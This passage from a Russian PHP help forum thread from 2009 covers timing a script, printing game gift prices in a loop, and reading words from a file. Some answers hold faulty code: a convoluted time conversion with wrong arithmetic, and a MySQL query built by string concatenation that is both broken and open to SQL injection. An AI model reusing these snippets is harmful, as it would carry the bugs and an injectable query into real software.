else {$sec=substr($sec1,0,2)*0.6;$sec = round($sec,0);}
echo $h[0]." hours ". $minutes." minutes " .$sec . " seconds\n";
}
if ($c>=60 && $c<3600) {
$c = $c/60;
$a = explode('.',$c);
if (substr($a[1],0,1)>5) {$sec=substr($a[1],0,2)*6;$sec = round($sec,0);}
else {$sec=substr($a[1],0,2)*0.6;$sec = round($sec,0);}
echo "0 hours ". $a[0]." minutes " .$sec . " seconds\n";
}
?>
Ну и рабочий код для измерения времени работы скрипта в нужном тебе формате:
<?php
$start = microtime(true);
/* тут мы делаем что-то, чтобы прошло какое-то время */
While($a<100000000){
$a++;
}
/* Кончили делать что-то */
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$c = round(($end - $start),0);
if ($c<60) echo "0 hours 0 minutes " .round($c,0) . " seconds\n";
if ($c>=3600){
$c = $c/3600;
$h = explode('.',$c);
$minutes1 = substr($h[1],0,2);
$sec1 = substr($h[1],2,2);
if (substr($minutes1,0,1)>5) {$minutes=substr($minutes1,0,2)*6;$minutes = round($minutes,0);}
else {$minutes=substr($minutes1,0,2)*0.6;$minutes = round($minutes,0);}
if (substr($sec1,0,1)/10>5) {$sec=substr($sec1,0,2)*6;$sec = round($sec,0);}
else {$sec=substr($sec1,0,2)*0.6;$sec = round($sec,0);}
echo $h[0]." hours ". $minutes." minutes " .$sec . " seconds\n";
}
if ($c>=60 && $c<3600) {
$c = $c/60;
$a = explode('.',$c);
if (substr($a[1],0,1)>5) {$sec=substr($a[1],0,2)*6;$sec = round($sec,0);}
else {$sec=substr($a[1],0,2)*0.6;$sec = round($sec,0);}
echo "0 hours ". $a[0]." minutes " .$sec . " seconds\n";
}
?>
http://s47.radikal.ru/i116/0901/24/10b884e60afb.jpg
Задачка на самом деле оказалась не такой уж и простой:)
Куда лог писаться должен ?
лог пишется в бд и его потом видно в файле отчёта
А вы прикольные, стока кода пишете)
<?
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$start = getmicrotime();
While($a<100000000){
$a++;
}
$end = getmicrotime();
echo "Time start: " . date('H:i:s',$start)."\n";
echo "Time end: ". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".gmdate('H:i:s',$b);
?>
Результат:
Time start: 23:56:40
Time end: 23:56:57
Execute time: 00:00:17
<?
for ($i=1;$i<30;$i++)
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=".$i."
name=img>";
?>
народ подскажите как вывести и цену подарка.
в верхнем коде в онлайн игре выводит подарки в магазине подарков от 1 до 30.
как сделать чтоб и цену выводило тоже.но цены 30-60-90-120.
Shadow_p1raT
30.01.2009, 19:15
Можно так
<?php
$j = 0;
for ($i=1;$i<30;$i++) {
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=".$i."
name=img><br>";
$j +=30;
echo 'Цена'.$j.'<br>';
}
?>
Можно так
<?php
$j = 0;
for ($i=1;$i<30;$i++) {
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=". $i."
name=img><br>";
$j +=30;
echo 'Цена'.$j.'<br>';
}
?>
а не будет путаницы с ценами на подарки?
допустим у меня у каждого подарка своя цена
как определить что именно он будет куплен и за это сумму которая будет прописана в бд?
Shadow_p1raT
30.01.2009, 19:52
Mirella тогда используй это
$sql = mysql_query("SELECT cena FROM `tovar` WHERE product_id = '.$id.'");
$res = mysql_fetch_array($sql);
echo 'Цена'.$res['cena'];
Если товар будет запрашиваться отдельно то не забываем про SQL-INJ
А вообще бред ввыводить в for
Помниться тут задавали вопрос
Есть рисунок к примеру такой
|----------|
Надо его растенуть в низ
как это сделать? просто в тупо вставлять скоко мне надо рисунков-тупо
А как написать скрипт на КРОНЕ для чистке MySQL (даже не представляю что такое КРОН)
diznt? тебе размножить нужно фоновый рисунок или растянуть один вниз?
Сообщество помгите не могу разобраться в чем ошибка:
<?
$f=fopen('key.txt','r') or die ("Ощибка открытия файла");
while(!feof($f)){
$key[]=fgets($f);
}
$words=explode(" ",$key);
foreach($words as $value=>$val){
echo $val;
}
?>
вместо $key[]=fgets($f);
$key .= fgets($f);
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot